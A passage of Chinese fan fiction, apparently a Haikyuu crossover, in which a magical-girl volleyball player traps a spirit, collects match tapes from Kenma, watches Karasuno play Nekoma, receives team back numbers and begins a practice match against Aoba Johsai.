明明看上去是乐观向上的美少女，可那双深邃的眼睛中总有些什么在静静地燃烧、聚变。
像死火山、又像是黑洞一般。
这时，一片不规则的阴影飞快地从阎魔乐脚下掠过，她的视线警觉地跟上，一直到抬起头。
一只邪祟穿过天花板的顶灯，挑衅似地在停在天窗边，等她发现后才瞬间钻出窗外，消失不见。
「宿主……」
“及川前辈，我先告辞了！非常感谢你的指导。”
阎魔乐鞠躬后，追寻着邪祟的气息匆匆向门口跑去，没有拿包，也没有换鞋。
排球馆附近靠近一个公园，邪祟躲进了一片树林的阴影中。
虽然仍然是低等邪祟，但是很明显已经升级过了，可能存在小幅伤害实体的能力。
她能确定邪祟没有走远，但是找到它还需要花一点时间。
阎魔乐小心地走进树林之中，隐藏在某棵树木之后，仔细探查着这附近的一举一动。
“小阎魔走得那么急，是在这里干嘛呢？～”
及川彻突然从她的身后探出头，顺着她视线的方向看过去。
牙白！被发现了！
8. 猫。来自城里。
阎魔乐下意识转头，感到这双能看穿一切的漂亮眼睛有些阴魂不散的意味。
不过还好，即使及川彻足够敏锐，他还是看不到任何邪恶生物，毕竟低等邪祟很难入侵他这样意志坚定的人。
手中是她的背包，他看上去是出于好心才追过来的。
阎魔乐咬牙道：“我在找猫，黑色的小猫。”
这是一种小型的邪祟，能够灵敏地移动，外型常常会被受害人误认为是小型动物，有细小的牙齿和爪子，喜欢藏在窄小的地方伺机攻击人类。
有些倒霉蛋会因为好奇心被引诱着把手探进未知的抽屉或是缝隙之中，在探究的过程中被噬咬抓伤。
更加恶劣的会直接对人的眼睛出手，好直接从对于疼痛和未知的恐惧汲取力量。
“原来如此，那我也来帮忙一起找吧～”
及川彻热心肠的模样。
“谢谢学前辈来送背包。”阎魔乐心里不断发出警报，“还是不必麻烦了，小猛也在等你吧。”
“不会哦，猛已经被表姐他们接走了哦，而我刚好很闲呢～”及川彻笑起来，顺势将少女的背包背在身上，一副要帮到底的意思，“那么，我们该从哪里找起呢？”
「这可真是增进感情的好机会啊，宿主～」
我记得你是打排球换魔力系统，不是好感度系统才对吧？
总之魔力不够，无法缔造结界是真的是迫切需要解决的事情。
“分头找更快吧？”及川彻看了看周围提议道。
开什么玩笑？
在这片没什么人的、满是阴影的树林里想当活靶子吗？
你那张漂亮的脸可是会受伤的哦！
等等，靶子……
阎魔乐止住了满心吐槽的念头，定定地注视着少年。
视线相触的那一刻，刚好一阵晚风袭来，吹动了两人的发梢，营造出了某种少女漫的氛围。
及川彻不愧是常被女生围着送礼物的池面，他笑眯眯地问：“怎么了？我脸上有什么东西吗？”
“嗯。”
阎魔乐应了一声，向前一步，伸手摘去了落到少年头发上的树叶，假装没有看见在枝头一闪而过的邪祟。
“啊，多谢呢。”
及川彻的笑容稍敛，视线落到少女的指尖，她的手指纤细，有些许与排球摩擦后留下红肿。
他伸出了手，却不明白自己为什么这么做。
阎魔乐也不明所以，不过顺势就把树叶放到了他的掌心。
“那么就分头寻找吧，及川前辈。”
“嗯，我去那边。”
及川用拇指和食指转动着这片寻常的树叶，往远处走去。
阎魔乐注视着他的背影，相距五米后，她在心中默默地倒数起来。
3——
2——
1——
头顶传来和风声吹过树梢很像的“唰唰”，有什么东西在枝头高速移动，正向着少年奔袭而去。
来了！
阎魔乐猛吸一口气，追着跑过去，但是黑影的速度更快！
及川彻听到她发出的动静转回身问：“哎？你发现小猫了吗？”
邪祟伸出尖锐的爪子直扑他的眼睛而去！
眼看就要来不及，一道白光从少年的脑袋上亮起，化成一张小巧的网笼住邪祟。
失去自由的邪祟“扑通”一下掉在了地上，不住地挣扎着。
“啊，没有，看来是我听错了。”阎魔乐停下脚步，微不可及地舒了口气。
在刚刚拿下树叶的时候，她已经在及川彻的身上设置了类似小型的捕鼠装置的陷阱魔法，一旦有邪祟靠近就会自动展开进行抓捕。
她现在的魔力量也只能做到禁锢这种体型小的邪祟了。
至于她刚才如此火急火燎地追过来……
因为担心这家伙太狡猾不上钩，她决定做戏做全套。
阎魔乐垂着的手指轻轻地画了个圈，光网顿时收紧。
邪祟被魔力形成的细绳子勒住了脖子拼命挣扎着，下一秒被挤爆消散在空气中。
她一眼都没有看过去，若无其事地说：“看来小猫已经跑走了呢，我们回去吧。”
“原来如此，你要做的事情已经做完了吧？”
及川彻将背包递了过去。
真是令人害怕的洞察力。
阎魔乐双手接过背包，直接无视掉他的话：“那么，我先告辞了，及川前辈，今天真是多谢你了。”
还有，请继续向世界走去吧。
这句话她没有说出口，毕竟他和那些单细胞生物不一样。
假如说了，不知道他又会从这句话中推断出些什么信息呢？
及川彻，好麻烦的一个人。
少年望着少女离去的身影，不经意地瞥过脚边一朵被压弯的小花上。
他弯下腰将树叶插进了泥土中作为花儿的支撑。
冥冥之中，他将树叶立在了邪祟消逝的地方。
像一座小小的墓碑。
***
坐上回程的公交车，阎魔乐望着窗外的向后飞逝的景色，大脑处于放空状态。
她闲着无聊调出系统面板，却立刻不由得瞪大了眼睛。
六边形被打破了！
那个不和谐的折线尖端指在头脑的条目一栏，上面赫然写着——2。
难怪刚才在设置陷阱的时候那么顺手！
「恭喜宿主完成了一个小目标了呢！～」系统欢快地恭喜道，「可喜可贺，可喜可贺～」
这条路走得通！
看来头脑是她目前能够最快提升的部分了。
所以，她需要更多的录像带，或者实战的比赛。
想到这里，她尝试着在论坛上寻求帮助。
【求助！有偿需要历年春高或者IH的排球录像！】
在2012年这个互联网还不算太发达的时代，这算是比较新潮有效的手段了。
几天下来，陆陆续续也有一些回复，不过还是以没有实际意义的闲聊和骗子居多。
这时，一条IP地址在东京的匿名消息引起了她的注意。
匿名网友：2010-2011东京都春高选拔赛的录像带需要吗？
和其他吹嘘拥有超多比赛的消息不同，这个人的回复精准到年份和地区，看上去更为可信。
乐：请问是男子还是女子的呢？方便拍个照片吗？费用和寄送方式分别是什么呢？
匿名网友：稍等。
匿名网友：「照片」
匿名网友：是男子排球赛的，费用就不需要了，可以走快递。
阎魔乐查了一下，现在的快递很慢，从东京到宫城县最快也要三天。
明天就是周六，她可以在训练结束后坐新干线过去，当天就能看上。
乐：请问这个周末您哪天方便？我可以自己去取。
匿名网友：你是在宫城县吗？我明天中午刚好会到，可以顺便带过来。
乐：这样吗？真是帮大忙了！请问车次是哪一班呢？我会尽量提前赶到的。
布丁头少年看着溢出屏幕的急切轻声叹了口气，他是真的很不会应对这样热情的人。
虽说，他并不讨厌热爱排球的人就是了。
“研磨，要训练了哦～”发型古怪的黑尾招呼着。
靠墙坐着的研磨低低地应了一声，发送完车次后放下手机，慢慢地站起来。
“打起精神来，研磨。”
话虽这么说，和他一起长大的黑尾确实是没怎么见过他充满活力的样子。
“啊……小黑真有干劲……”
“那当然，我们马上就要和那群乌鸦见面了。”黑尾脱下外套摆到座椅上，“不知道会是什么样的对手呢？”
第二天集合的时候，研磨提着一个大型塑料袋。
“研磨，我们只去一个周末，要带那么多行李吗？”黑尾提醒道。
“嗯……这个是答应了给别人的录像带。”
研磨微微晃了晃袋子。
黑尾从中拿出一盘：“还有女队选拔赛的？”
“因为正好碰到了就问了一嘴，那边正好也想处理掉这些过期的录像带，所以……”
“很少看到你这么热心。”
“因为录像带已经通过转换格式载入电脑了……所以也没有一定要留着，还很占地方。”
“哈哈，主要是占地方吧？”
黑尾轻笑一声。
研磨没有回答，算是默认了。
不过，这之中的原因有没有被网线对面传递过来的某些力量
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所感染，他还吃不准。
***
周六上午的训练完毕，午休时刻。
“阿乐！要一起吃午饭吗？”十六夜招呼道。
“抱歉，阿夜，我今天有点事。”
阎魔乐飞快地换好衣服，抓着包径直跑开。
十六夜还没有来得及失落，就看到她去而复返，从门外探出一颗脑袋。
“下午训练完去我家吧！有东西要给你看。”
“好～”十六夜喜笑颜开，兴奋地点点头，脑袋上的小啾快乐地弹动了下。
学校离新干线不近不远，为了节省时间能在下午的训练前顺利地赶回来，阎魔乐毅然拦了辆出租车。
打车真的好贵。
计价器蹦跶得令人心惊肉跳，她不由地咽了咽口水。
还好她不是什么穷苦魔法少女的励志人设，暂时没有经济上的困扰。
阎魔乐快速跟着指示找到了指定车次的出口，车还有十多分钟才到。
她翻开手机，确认着对方传来的信息——说是穿着醒目红色的衣服，一眼就能认出。
虽说那个热心的人很客气地不需要任何回馈，她还是准备了伴手礼，她低头看了看手中的袋子。
再抬头，她就理解了对方说的「醒目」是什么意思——
以一脸反派样的r18男高为首，一群红色运动服的高中生确实在人群中显得十分扎眼。
他们气势汹汹地出场，像成群结队的野猫。
从东京过来、红色衣服、拥有前两年春高预选赛的录像……
她早就应该猜到了。
血液神教大集结啊……
研磨发送着消息告知到达的消息。
“对方是一个什么样的人？”
黑尾环顾着四周帮着一起找接头人。
“啊，忘记问了……”
研磨这才想起来根本不知道对方的名字和样貌。
“是您吗？醒目的红色外套。”
阎魔乐装作第一次见面的样子，小心翼翼地确认道。
宫城县的女排硬说看过东京都的男排打球实在过于刻意了。
少女出现的那一刻，音驹的众人不免愣了愣，然后挺直了腰板。
也不知道会是一个高挑的美少女啊！
“你是「乐」？”
研磨的视线落到她外套上的标签上，顺手就把袋子递了过去。
新山……是女排中的豪强吧？
“是的，我是阎魔乐。”
阎魔乐点点头，高兴地接过，她的魔力可就指望着这堆录像带呢！
黑尾和善地笑着问：“要拿那么多东西，需要帮忙吗？”
嗯，不愧是待人一向热忱的小黑啊。
“没关系，我可以，就当力量训练了。”
阎魔乐掂了掂袋子，录像带也就是体积大，其实不太重。
“唔哇……好热血……”研磨露出“遭不住”的表情。
“哈哈哈，不愧是新山啊！”夜久忍不住夸赞道。
拜托，你不仅马上就会遇到比我更热血的人，还会“真香”地认为他很有趣呢！
阎魔乐暗暗地想。
“啊，对了！”她忙慌着递上礼品袋，“里面是宫城特产的竹叶鱼糕和毛豆泥饼。”
“啊……不用……”
研磨正准备拒绝，就感受到从队友那边传递过来的渴望。
“亚撒西耶夫斯基。”
电波系的福永伸出大拇指对此表示肯定。
“哇，毛豆泥饼！”
混入一群猫猫当中的犬冈也一脸兴奋。
山本倒是没说话，因为他的内心正在高喊着“美少女，真正的排球美少女啊！”
无奈，研磨只能接了下来。
“多谢。”
“哪里。”
还好买了不少，不然这么大一群猫可不够分。
阎魔乐暗想。
“那么，我就不打扰各位的远征行程了。”
她朝着音驹的众人浅浅地一鞠躬。
“啊，对了，明天的比赛要加油哦~”
阎魔乐起身嫣然一笑，兴冲冲地提着袋子就往回赶。
刚才还热络的音驹众人顿时气氛一滞。
她是怎么知道的呢？
9. 幼鸟与猫
十六夜并不是一直都自己一个人。
她活泼可爱，多少都能交到不错的朋友。
否则性格强硬不知变通的笨蛋飞雄怎么能和她是那么多年的好友。
不过，朋友和队友是不一样的。
虽然这么形容不是那么准确，但就和飞雄在初三被队友“抛弃”变得孤身一人后类似——她也几乎没有可以并肩作战的队友。
并不是说谁不好的意思，实在是她这个讨人厌的特质让她没办法和别人好好配合。
起码飞雄在及川学长毕业后就成为了首发不是吗？
而她始终没有上场的机会。
她甚至不知道自己是否算强……
她一直在努力着，却没有能验证的机会。
不过，最近……
十六夜走进排球馆，放眼看过去——
黑发的少女正在拉伸，她抬起头冲自己打招呼：“阿夜早啊。”
最近，她有了能够被称为队友的朋友。
“早～阿乐～”
不仅如此，昨晚她们还一起看了东京都春高排的录像带。
男排女排都有，不知道她是怎么拿到这样珍贵的资料的……
阿乐真厉害。
周日是新山的自主练习日，在基础训练结束后，可以选择自行训练，没有硬性要求。
过去的几周内，阎魔乐都勤勤恳恳地训练着。
虽然她的基本功依然很不像样，但是新井教练对此很满意。
特别是在第一个月已经有6人退队的情况下。
如果说天分是成就的上限，那么努力决定了一个人的下限。
越努力，下限就越高。
不过，今天阎魔乐和十六夜快速换好衣服，和大家告别后马不停蹄地离开了。
星那忧子看着她们离去的背影不满地瘪瘪嘴，然后给抛球，鬼冢幽大力扣球，获得了一片称赞，她却依然不住地鞠躬，把脸藏在厚厚的刘海之下。
大空惜子平静地练习着，一如既往的心无旁骛。
坐上公交的两人稍稍平复着呼吸。
“真希望能赶上呀。”
“应该来得及看最后一场。”
阎魔乐看着时间冷静地估算道。
“噗。”十六夜突然笑出声，“阿乐果然很厉害啊。”
“哎？”
阎魔乐怎么样也没想过这个词会被用来形容自己。
“因为阿乐一直都很冷静嘛，就是那种好像永远会知道自己要做什么事，简直像个大人一样。”
“啊……那个……我只是想打好排球。”然后拿回魔力。
看着少女真挚的神情，阎魔乐为自己的动机不纯羞愧了一秒。
“不过，这个音驹真的有那么强吗？”
十六夜不太明白即使不训练也一定要亲眼看这场练习赛的原因。
在10年和11年的东京都的春高选拔赛上，音驹确实是一支稳健的队伍，但是看上去并没有特别出色的表现，比起豪强井闼山和枭谷要差远了。
非要说的话，就是自由人和一个比飞雄更像反派的副攻还算出挑一些。
“嗯……”
前两年，作为大脑的研磨根本没有上场，其他主力也没有受到重用，自然也就没有血液畅快流动后的难缠。
“今年的音驹，很强。”阎魔乐认真地说，“和乌野一样。”
***
5月6日，乌野男子排球队集训的最后一天，也是——
垃圾场大战的参战双方的初次见面。
小乌鸦和成猫的对战，两场皆以乌野0-2战败结束。
两队休息期间，两个纤瘦的身影急冲冲地窜了进来。
乌养教练正在布置战术，日向明明跑了两场却还是对第三场比赛跃跃欲试。
“太好了，赶上了。”
看到双方都没有要离开的样子，十六夜松了口气。
“嗯，我们去二楼吧，看得清楚一些。”
“啊，是阿乐！～”
日向双脚离地跳起来，欢快地朝少女们挥着手。
顿时，所有人的注意力都往门口看过来。
所幸两人并不会为此而紧张。
阎魔乐自然不必说，十六夜则是习惯了自己存在感低这个事实，知道其他人不会注意到自己。
跳得真高……
阎魔乐微笑着鼓励道：“翔阳，加油。”
相比之下，十六夜要更加活泼一些。
“飞雄，比赛加油哦！”
“喔，喔。”
影山目光依次扫过少女们的脸，似乎不明白她们怎么会出现在这里。
感受到另外一道敏锐的视线，阎魔乐对着布丁头少年友善地招了招手。
研磨微点了头，随即垂下眼。
原来如此，她是翔阳的朋友，难怪会知道他们今天会有比赛。
“是送毛豆泥饼的女生。”犬冈认出了阎魔乐。
“很好吃。”福永发出对美食肯定。
山本失落地泪目：“啊……排球美少女又增加了一个，但还是乌野那边认识的……可恶啊……”
“真不错呢，短发。”夜久点点头肯定着自己的审美。
“怎么连你也这样。”海信行无奈道。
“喂喂，振作点，还有一场比赛呢。”
黑尾拍了拍手，照常维持着队内的气氛。
“kgym！hnt！你们俩怎么会认识新山的女排队员啊？”田中不可置信地问道。
“冷静点啦，田中。”
菅原阻止着他继续摆出恶人脸，以免给学弟们造成不好的榜样。
“阿乐是和我从小一起长大的好朋友哦！～”日向开朗地解释道。
“嗯，嗯。”
影山随着肯定声点头，表示“俺也一样”。
第三局比赛开始，阎魔乐抓紧了栏杆，目不转睛地看着男生们的表现。
一开场，日向“咚”一声起跳，影山的托球精准无误，接着“啪”一声，排球就落到了音驹的场上，众人似乎都没有反应过来。
怪人速攻！
那一球仿佛直接打在了少女们的心上。
“这是什么？”
十六夜完全看呆了，她怔怔地问。
“飞雄是直接把球传到了那个小个子攻手的手上了吗？”
“嗯，翔阳先起跑起跳，然后——”阎魔乐做了心理准备所以能够看到怪人速攻的细节，“球就会到他的打点上。”
“可恶，飞雄好强。”
十六夜握紧拳头，为自己这个幼驯染感到高兴，又对自己感到不甘。
“阿夜也很强，没有什么是影山君能做得到，而你做不到的。”
十六夜愣了愣，扭头看到阎魔乐理所当然的样子后重重地点头：“嗯！”
很快，音驹还以颜色。
研磨朝右边的黑尾看了一眼，在月岛起跳防守的时候，却将球传给了后排的福永，完成了一次完美的后排进攻。
“刚才那个是……视线诱导。”
“嗯，但这次能够成功就是因为对面的拦网是那个理性的11号。”
研磨的思维缜密之可怕，甚至利用月岛的观察来发动反制攻击。
如果网前是翔阳，这次进攻很可能就无效。
头脑5是因为最高只能是5吧……腹黑三花猫。
“二传手果然好帅啊！”十六夜冒出星星眼，“和飞雄完全不一样的打法。”
尽管这个是她用不了的技能，她还是哇库哇库兴奋不已。
因为存在感低，对手可能都注意不到她的视线，更别提诱导了。
“音驹的二传看上去瘦瘦小小的，但是好厉害。不过——”十六夜的视线在为大脑输送氧气的“
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血液”中切换，“能让他这么顺畅使用各种战术的队友们也非常重要。”
“是这样的。”
乌野的失败，道理阎魔乐都懂，但是亲眼看到后又是完全不一样的体验。
音驹的风格如同血液流淌般顺其自然，明明没有出挑的天才攻手但就是不会让球落在自己这边的地面上。
不是说乌野没有配合，但是在团队的成熟度上完全比不过音驹。
团队……
阎魔乐最近在各种录像中恶补了排球知识。
后排进攻、双二传、欺诈扣球、二次进攻……
她不断在脑中演示着自己和十六夜可以使用的进攻模式，
现在看来，要赢下更多的比赛，她需要一个团队。
一旦增加人数，不同技能的组合将呈几何倍数的增长，这意味着对于集中力和脑力运算的过程需要更高要求。
阎魔乐轻叹一声，道阻且长啊……
“不过，乌野也不赖啊。”
可不嘛，那可是即将振翅高飞的杂食乌鸦啊。
“飞雄托球的精准度和执行力简直是可怕，不折不扣的天才。”
十六夜话一出口就有些后悔，立刻改口道：“不仅仅是天才。”
人们总是用天才形容一个优秀的人，但是这个词好像轻易地抹杀了那个人付出的努力。
阎魔乐看着那颗蓝莓头：“所以说，努力的天才会更好吗？”
“那样听上去更可怕了呢。”十六夜无奈地笑笑。
焦灼的比赛最终定格在32-30，音驹获得了第三场的胜利。
“哔、哔、哔——”
随着裁判吹响哨声，日向立刻大声喊道：“再来一场！”
“喂喂，这家伙根本就不会累是吗？”
十六夜不禁对跑跳满全场的小个子的体力瞠目结舌。
“阿夜，我们走。”阎魔乐背起自己的书包招呼着，就朝外跑去。
“哎？不用跟他们道别吗？”十六夜跟上。
“嗯，还会再见面的，我现在该回去训练了。”
再说输掉比赛，他们看上去也很不甘心的样子，应该没空理她们吧。
“阿乐总是像在和什么抢时间一样。”
嗯，为了这个世界能够继续安全地打排球，她确实是很着急。
“总之，我们先以背号为目标吧？”
“嗯，一起成为首发队员。”
于是，少女们奔跑着。
跑向明天。
***
青叶城西高中第4体育馆，训练结束后的少女们大汗淋漓，横七竖八地坐在地上休息。
“教练，新山的练习赛就在下周了吧？”
背号为1号的高大主将看上去还留有余力，擦着汗走过来。
“嗯，是的，怎么了吗？”
“啊，是因为自己的妹妹加入了新山，所以有些在意。”她想到了什么很快改口道，“不过她才一年级，应该很难获得首发的资格吧。”
毕竟是那个新山啊……
是青城一次都没在比赛中赢过的怪物。
“这次很有可能会上场哦。”
“哎？”
“新山很少跟县内的高校进行练习赛，这次她们能够答应的原因是有条件的。”教练拿出记录册翻到其中一页，“除了首发队员的比赛，她们还会出一支全部由非首发队员组成的二队，我们这边则可以随便组织队伍来应对。”
“看来她们对自己很自信啊～”
“毕竟是豪强嘛，不过我们今年也不弱呢～”教练的视线扫过队员们最后落回到少女身上，“那么就交给你了，青城的ACE。”
“哎呀，教练别这么说啦。”少女不好意思地笑笑，“不过，我会努力的！”
她眼光沉沉，轻轻搓了搓掌心的薄茧。
真是期待呢，妹妹。
10. 背号：na
这天放学后，阎魔乐和十六夜刚到排球馆，就看到学姐们捧着一本杂志围在一起，热闹地聊着天。
连队长风间枝也在其中，一副饶有兴趣的模样。
“学姐们在干什么呢？”十六夜好奇地凑过去。
“望月上了排球月刊哦～”
花咲将杂志转过来，稍稍没有拿稳，翻开了其他几页，牛岛的扑克脸在之中一闪而过。她调整了姿势，翻到新山王牌的那一页展示给她们看。
杂志上，望月须弥双手叉腰，自信地笑对镜头，那一头深红色的短发仿佛热烈燃烧的火焰。
标题是【新山的绝对王牌 U20国家队的不二人选】。
阎魔乐把视线移到旁边的真人身上——
“哈哈哈！”望月须弥大声笑着。
嗯，不能说如出一辙，简直是一模一样。
“听说下一次会邀请芥子做采访！”
“啊？～”云中芥子慢悠悠地转过头，为难地开口，“不要吧……”
“没事没事，干脆大家一起上吧？”望月笑嘻嘻地鼓励道。
“也不是那么容易的事情啦……”飞鸟苗香无奈地吐槽。
望月学姐在比赛中拥有着绝对的统治力，这点阎魔乐在以往的比赛录像就能得出相关结论。
不过新山的可怕在于——即使她和牛岛是同级别的选手，新山也并不仅仅是以她为中心的打法体系。
首发们是一个成熟的、完整的团队。
阎魔乐不免想到一年级中——傲娇的星那，胆小的鬼冢，毫无热情的大空，再联想到自己，不由地叹了口气。
十六夜憧憬道：“学姐们好帅气啊。”
“未来，我们的名字也会出现在上面的。”阎魔乐想也没想地开口，“也许慢一点。”
“哈哈哈，吊车尾还真是大言不惭呢。”星那照常戏谑地嘲笑。
“因为难以达成就不去做也太亏了吧？”对于傲娇，阎魔乐直接发出邀请，“所以，忧子也一起来吧。”
星那瞬间脸一红，慌乱地回：“你这家伙，说什么呢？！”
这时，教练和2位经理搬着两个大纸箱进来，划破胶带打开。
“好了，根据过去一个月的表现，现在来宣布背号，发比赛队服。”
“哇～”
队员间响起兴奋的窃窃私语，不安与期待蔓延开。
新山的队服是红色的，宣告着王者的张扬霸气。
正选队员除了5位三年级的前辈以外，二年级有8位实力不俗的正选，这次又增加了2位。
拿到号码的2人喜极而泣，这一年多的努力和坚持总算是没有白费。
落选者恭喜着她们，眼中不免有一些落寞。
努力相对公平，却不一定能直达成功。
“那么接下去一年级中也有几位进入了正选，首先，16号，大空惜子。”
在众人羡慕的声音中，深蓝色短发的当事人走上前、接过衣服、道谢、坐回原处。
平静地好像是买了一个没有奶油的面包一样。
“17号，十六夜悦。”
“是！”少女富有元气地起身，兴高采烈地抱紧了队服。
“18号，鬼冢幽。”
害羞的少女像被吓了一跳一样，低着头跑过去。
“19号，星那忧子。”
星那带着一副“哼哼，本小姐当然会成为正选”的表情站起来。
“以上，就是本次所有入选的名单。”新井教练合上了记录册。
对于这个结果，其他人都有所预料，毕竟这几人的实力有目共睹。
“当然，正选队员的位置依然有空缺，但是没有达到相应的实力，我也不会放低标准就随意选人，你们要记住，努力只是成功的最低要求。”
「哎呀，宿主～如果在乌野的话，别说背号，也许你很快就能上场打比赛了哦～」
……
也许系统说的是实话，但是阎魔乐并不后悔自己走的这条路。
换句话说，如果能在这样的强者中获得首发的位置，那不是一件更加畅快的事情吗？
“阿乐……”
十六夜将队伍放在身侧，用身体遮挡起来，担忧地看着身边的好友。
“别担心，我们的目标不是完成一半了吗？”阎魔乐微笑着安慰道，“接下去，我会努力赶上你的。”
这并不是漂亮话，她有自己战斗的方式，即使这会是一场长期的战役。
“还有一个消息，这周四我们会和青城有一场练习赛。”
“呜呼～”望月兴奋地跳起来，高举着双臂，“要和欣子一决胜负。”
“啊啊，你这个比赛狂，快坐下啦～”
软糯的关西腔毫无杀伤力，花咲一把拉着望月防止她继续做出什么举动，毕竟这里能拉住她的只有同为力5的自己了。
“咳咳。”风间枝咳了一声，望月顿时老老实实地坐了回去。
“风间学姐真是了不起啊。”天内叶歌轻声赞叹。
“除了首发队员，这次练习赛特别组织了一支二队进行比赛，名单如下。”
8号梅宫芝 S
9号竹取兰一 WS
10号山吹杏 MB
13号千石英 Li
16号大空惜子 WS
18号鬼冢幽 WS
19号星那忧子 MB
“二队阵容主要是为了检测这套阵容的实战能力来开发后续的战术阵容，没有选上的并不意味着实力不行。”
“好了，现在开始训练。”
以往到这个时候，星那就算称不上孔雀开屏，也会小小地炫耀一番。
然而现在，她却低着头似乎在为什么而感到紧张，一旁的鬼冢似乎是知道其中的缘由，担心地陪着她。
不过阎魔乐没有心情去理这些，因为——十六夜是唯一一个没被选上的高一正选。
尽管十六夜在训练中依然是那么富有活力的样子，但是阎魔乐知道一直没有办法上场是她无法不去在意的事实。
训练后，阎魔乐趁着十六夜换衣服的时候偷偷找到了教练。
“教练，十六夜即使是在整个排球部也是实力数一数二的选手，为什么不能作为二队拥有上场的机会呢？”
虽然这么说有些失礼，尽管二年级的梅宫学姐是一位成熟的二传手，但是在综合实力方面，反而是一年级的十六夜更强一些。
其实，在祛除邪祟的事情外，阎魔乐并不是喜欢多管闲事的人。
可……朋友的事情，怎么能算是闲事呢？
“你说的没错。”新井教练说，又在少女嘴角上扬前补充道，“那么，阎魔，你可以负担起这样一份责任吗？”
“哎？”阎魔乐微微皱眉，她似乎能模糊地理解一些教练的意思。
“十六夜拥有很强的实力没有错，但是现在除了首发的攻手们，只有你才能毫无障碍地打到她的托球，对于其他队员来说需要花更多的集中力在她一个人身上，从而造成精神上的疲惫，无疑会削弱攻击力。也就是说——”
她顿了顿。
“一年级中除了你，目前没有人能发挥出她的能力。”
“我认为大空同学就可以。”
这
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家伙强得离谱，她绝对会是继望月须弥，天内叶歌之后的下一任王牌。
新井教练露出一个“真难你没办法”的微笑。
阎魔果然拥有对于每个人的全局和毫不退缩的坚定意志。
比起选手，她似乎更适合当教练？
嗯……不对，她的专注度也是独特的武器，就看怎么使用了。
“首发的选手几乎都可以忽略她存在感低的特性，那是因为她们足够强大。”教练话锋一转，“而二队中暂时只有大空一人能够打好十六夜的托球，你应该也知道团队的重要性吧？”
很明显，新井能执教豪强新山就不可能是个普通的教练，阎魔乐能想到的，她一定全都纳入考量了。
“对不起！是我考虑不周、班门弄斧了。”阎魔乐朝着教练深深一鞠躬，“但我还是认为十六夜拥有上场的价值。”
“能为朋友仗义执言很帅气哦～”新井由衷地夸赞道。
“我会负责起来的，我会成长到能够上场的实力，我会和十六夜一起成为首发，会比稳健的队伍更强。”
“哈哈哈，那么，我很期待哦～”
说着，教练将记录册上「十六夜&阎魔」的名字圈起来。
门外，听到了一切的十六夜无声地痛哭起来。
寡言少语的大空路过后停下脚步思索了几秒，叹了口气回头安慰道：
“你的托球还不赖。”
顿时，十六夜震惊地睁大眼睛，一时间都忘了哭。
“谢、谢谢……”
大空有些不自在地把纸巾塞到她的手中，径直离开了。
阎魔乐自然是不知道这些，她对十六夜急着先回家这件事表示理解后，就又开始思考着晚上的练习了。
***
青叶城西高中位于青叶城附近，校风自由，是宫城县中人才辈出的明星学校。
下午四点正是各类社团进行部活的时候，校门打开，一辆大巴缓缓驶入。
“今天有外校的来打练习赛？哪个部门的？”
训练间隙，及川彻到学校的小卖部买运动饮料好奇地问。
“不太清楚。”
岩泉一会跟来完全是为了防止麻烦的幼驯染再次被女生围住。
大巴转向停稳，车身上「新山女子高中」的logo完全露了出来。
“是女排那边吗？”
及川彻下意识猜测，脑海中闪过了某个黑发少女的模样。
“你可不要有什么特殊的想法。”
岩泉的岩拳又硬了，他抓着轻浮男高的后领就往体育馆走。
及川彻一边被拖着走，一边辩解着：
“小岩讨厌啦～人家才不是那样的人呢。”
新山众人陆续下车，浩浩荡荡的队伍顿时引发了路过学生的围观。
那一抹红色仿佛是熊熊燃烧的火焰，迅速烧到了青城的第4体育馆。
“喔，来了啊，欢迎。”青城的主教练城田打招呼。
“哪里，感谢邀请。”新井教练礼貌回复。
正在训练的青城队员停了下来，新山众人也停止了低声的话语。
主客双方都在审视着彼此。
这时，一道爽朗的声音响了起来。
“欣子！来比赛掰手腕吧～”
望月须弥一眼就锁定身着白青相间队服中的对手，兴奋地打招呼。
“还是一会在球场上比试吧～”
青井欣子笑着回答，目光却在黄毛大小姐的身上停下。
看着对方故意避开的眼神，她迟疑了片刻还是开口道：
“小忧，好久不见。”
11. 是怪物幼崽
“啊……嗯。”
星那偏过头低低地应了句，完全没有往日里嚣张的模样。
鬼冢在一旁绞着手，担忧地看着她。
阎魔乐虽然不知道星那具体的背景，多少也能猜出一些。
毕竟，能够让傲娇大小姐蔫蔫的，一定是特别重要的存在。
两边的教练倒是看上去关系不错，一点没有剑拔弩张的氛围。
“两场比赛同时开始没问题吧？”
“那当然，一队和二队都去热身吧。”
同时进行对于阎魔乐来说并不是一件好事，她只能选择一边观赛以补充大脑中的战术含量。
抽签由青城先发。
“哔——”
比赛开始！
作为宫城县的种子队之一，青城的实力不容小觑。
以青井欣子为攻击核心，每个队员的技巧都很好，擅长灵活多变的打法。
青城像是在林间游动的风一般灵巧，是一支不错的队伍。
但是……
“哈哈哈！”
望月扣下一记暴力重扣，满意地叉着腰笑起来。
新山这边偏偏有望月这样的全国三大主攻手，常常以一己之力就能突破对方的三人拦网。
仿佛攻城车的铁锤一般，能够在瞬间折断眼前的树木，制造出更为混乱强势的气流。
因此，新井教练的大部分注意力都在二队的比赛上，几乎没有关注这边，十成十的放心。
坏了，她们成白鸟泽了。
“欣子，我又要赢咯～”
望月的性格做不来挑衅这种事情，她纯粹就是在表达着自己的想法。
“别着急啊！”
青井脑袋上爆出青筋，这个会打排球的单细胞生物还真是气人啊。
想着，她也不免往隔壁二队那边瞥了一眼，正好与星那对上视线。
大小姐慌张地转开视线。
面对望月可怕的进攻，青城很快就以封锁她的斜线球，让自由人接直线球的多重防守削弱了她的攻击力。
一旦到这个时候，下一任ACE天内就会自然而然地顶上。
来吧，未来的王牌～
花咲微微一笑，没有看任何攻手的位置，把球托给了天内，后者扣出直线球得分。
“好球。”
“谢谢学姐。”
不仅如此，花咲也会配合雪村进行出其不意的快攻。
值得一提的是，平时默不作声的雪村上场后是那种非常有气势的类型，她的快攻可以说是毫不留情。
“啊叶，刚才那个球有些低了。”她语气冰冷。
“好嘛好嘛～表情别那么可怕啦～阿雪～”
飞鸟和队长风间则会在参与进攻的同时将稳健地进行防守，更别说她们的身后还有顶尖自由人的保障。
她虽然看上去迷迷糊糊，但总是能灵巧地出现在球砸下来的位置上做出完美的一传。如果对面的司令塔没办法利用战术阻挡她的行进路线的话，那么简直可以用滴水不漏来形容她的防守。
因为新山一直能闯进后几轮比赛，所以视频资料比较多，只是当时还是二年级的学姐们有几个还不是首发。
现在的新山看上去更强了，搞不好……今年可以夺冠呢！
来回拉扯间，新山就以25-21拿下第一局。
不过，二队那边就不同了。
星那很不在状态。
不仅她的速度和弹跳完全没有发挥出来，别说成为存在感高的诱饵，现在她只能进行单一的进攻模式，拦网上也有失误。
双方的比分一直处于你追我赶的过程中。
